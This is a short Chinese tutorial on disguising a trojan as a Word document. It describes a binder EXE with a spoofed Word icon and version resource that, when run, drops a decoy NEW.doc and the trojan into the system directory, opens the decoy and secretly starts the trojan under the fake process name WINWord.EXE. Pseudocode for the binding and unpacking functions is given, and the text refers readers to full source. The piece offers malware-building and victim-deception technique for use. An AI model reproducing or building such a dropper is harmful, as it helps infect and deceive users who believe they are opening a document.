EXE伪装术之Word捆绑
EXE伪装术之Word捆绑
在系统容错允许下,于EXE文件末尾添加数据,EXE文件是可以正常执行的。我们要做就是把木马的数据和Word文挡的数据写到伪装器的尾部。结构如下:
---------------------------------------
|bind.exe|muma.exe|Word.doc|
---------------------------------------
当捆绑的bind.exe运行后,读取捆绑的数据生成muma.exe和Word.doc一并运行,而自身则结束进程。当然这里bind.exe要做的远比我说的要复杂的多,它还承担写数据的功能。
程序界面。
首先说说如何利用Word的图标,前面提到我们是把数据写到伪装器尾部,可见最后生成的捆绑程序利用的是伪装器的图标,所有我们直接把伪装器的图标换成Word文档的图标。
本程序代码中Bind_Files()函数负责写数据到伪装器的尾部。伪代码如下:
Bind_Files()
{
_stat(my_name, &ST);//获取自身文件伪装信息
fread(buf, 1, modify_data.my_length, myself);//储存自身文件信息到缓冲区
out = fopen("xicao.exe", "wb");//创建最终合成文件
fwrite(buf, 1, bytesin, out);//写入第一个要伪装的文件数据
fwrite(buf, 1, bytesin, out);//写入第二个要伪装的文件数据
}
另一个重要的函数就是Unbind_and_Run(),它负责读数据并运行捆绑的文件。伪代码如下:
Unbind_and_Run()
{
GetSystemDirectory(chSystemDir,MAX_PATH);//将文件在系统目录中展开
out =fopen(strSystemDir + "\\NEW.doc", "wb"); //创建第一个伪装的文件
out =fopen(strSystemDir + "\\WINWord.EXE", "wb"); //创建第二个伪装的文件
HINSTANCE result =ShellExecute(NULL, _T("open"),strSystemDir + "\\NEW.doc", NULL,NULL, SW_SHOW);//打开WROD
Create_Process(strSystemDir + "\\WINWord.EXE");//运行木马文件
}
正如伪代码中所描述的,为了具有迷惑性,我们还将木马的进程名改为WINWord.EXE。
读者又要问了,应该什么时候用Bind_Files(),什么时候用Unbind_and_Run()函数呢?其实就是如何判断自己有没有捆绑数据。本程序通过判断程序本身的大小来决定:当自身大小小于35K时是非捆绑状态,显示正常界面。否则调用Unbind_and_Run()函数,退出自身进程。
怎么样,伪装的很象吧,当运行之后就可以运行木马程序和打开Word文档了。当然了,只要显示文件的后缀,就原形毕露了。
另外,图中看到的“Microsoft Word 文档”和“56 K”字样是修改了程序的版本资源(VS_VERSION_INFO)所得到的。
我一直认为,只要弄清楚了程序的原理和算法,程序的实现就指日可待。所以本文并没有解释大段大段的代码,只是告诉了大家原理,程序的具体实现请大家参看源代码